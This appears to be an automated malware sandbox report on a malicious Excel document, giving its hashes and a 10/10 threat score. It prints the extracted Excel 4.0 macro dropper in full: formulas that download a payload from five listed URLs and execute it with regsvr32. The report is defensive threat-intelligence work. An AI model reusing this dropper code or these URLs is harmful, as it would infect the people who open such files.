General

  • Target

    df328b18eaf35ea032bef81244261b745d38167be250ec9fb66aae0aaee4cb26

  • Size

    173KB

  • Sample

    241120-z9fzjsvamn

  • MD5

    ec63f9cf7d57df4512887c87e4340688

  • SHA1

    ae14769be9c5faed921bafa7b1c2e082e6560e93

  • SHA256

    df328b18eaf35ea032bef81244261b745d38167be250ec9fb66aae0aaee4cb26

  • SHA512

    2aa4ab414cc176798a911ff303ddd041d0faf136116f9a211b838f0eb1375a4d9b7f6a98133185528945ab419fdd9135f7bcddc040d6383a6aa1453686828790

  • SSDEEP

    3072:HUlKwtyfsBMtuqBqBqrhyqBqBqBqrhyqmBqenFZRmXANKXg7e79ElHIcp4Gg7SpB:H+KwtyfsBMtuqBqBqrhyqBqBqBqrhyqU

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://carretilha.net/whats/RSL50BlRP0a6hj/

https://shrinandrajoverseas.com/old/wQXty0wnVDY/

https://zionimoveis.com.br/wp-content/Bn00gaw/

https://kontacsgo.pl/m/uwZYNUjGeWW/

http://vps36153.publiccloud.com.br/wp-admin/RfAZZ776uMNhSpOT/

Attributes
  • formulas

    =FORMULA() =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://carretilha.net/whats/RSL50BlRP0a6hj/","..\xxw1.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://shrinandrajoverseas.com/old/wQXty0wnVDY/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://zionimoveis.com.br/wp-content/Bn00gaw/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://kontacsgo.pl/m/uwZYNUjGeWW/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://vps36153.publiccloud.com.br/wp-admin/RfAZZ776uMNhSpOT/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\xxw1.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://carretilha.net/whats/RSL50BlRP0a6hj/

xlm40.dropper

https://shrinandrajoverseas.com/old/wQXty0wnVDY/

xlm40.dropper

https://zionimoveis.com.br/wp-content/Bn00gaw/

xlm40.dropper

https://kontacsgo.pl/m/uwZYNUjGeWW/

xlm40.dropper

http://vps36153.publiccloud.com.br/wp-admin/RfAZZ776uMNhSpOT/

Targets

    • Target

      df328b18eaf35ea032bef81244261b745d38167be250ec9fb66aae0aaee4cb26

    • Size

      173KB

    • MD5

      ec63f9cf7d57df4512887c87e4340688

    • SHA1

      ae14769be9c5faed921bafa7b1c2e082e6560e93

    • SHA256

      df328b18eaf35ea032bef81244261b745d38167be250ec9fb66aae0aaee4cb26

    • SHA512

      2aa4ab414cc176798a911ff303ddd041d0faf136116f9a211b838f0eb1375a4d9b7f6a98133185528945ab419fdd9135f7bcddc040d6383a6aa1453686828790

    • SSDEEP

      3072:HUlKwtyfsBMtuqBqBqrhyqBqBqBqrhyqmBqenFZRmXANKXg7e79ElHIcp4Gg7SpB:H+KwtyfsBMtuqBqBqrhyqBqBqBqrhyqU

    Score
    10/10

MITRE ATT&CK Enterprise v15

Tasks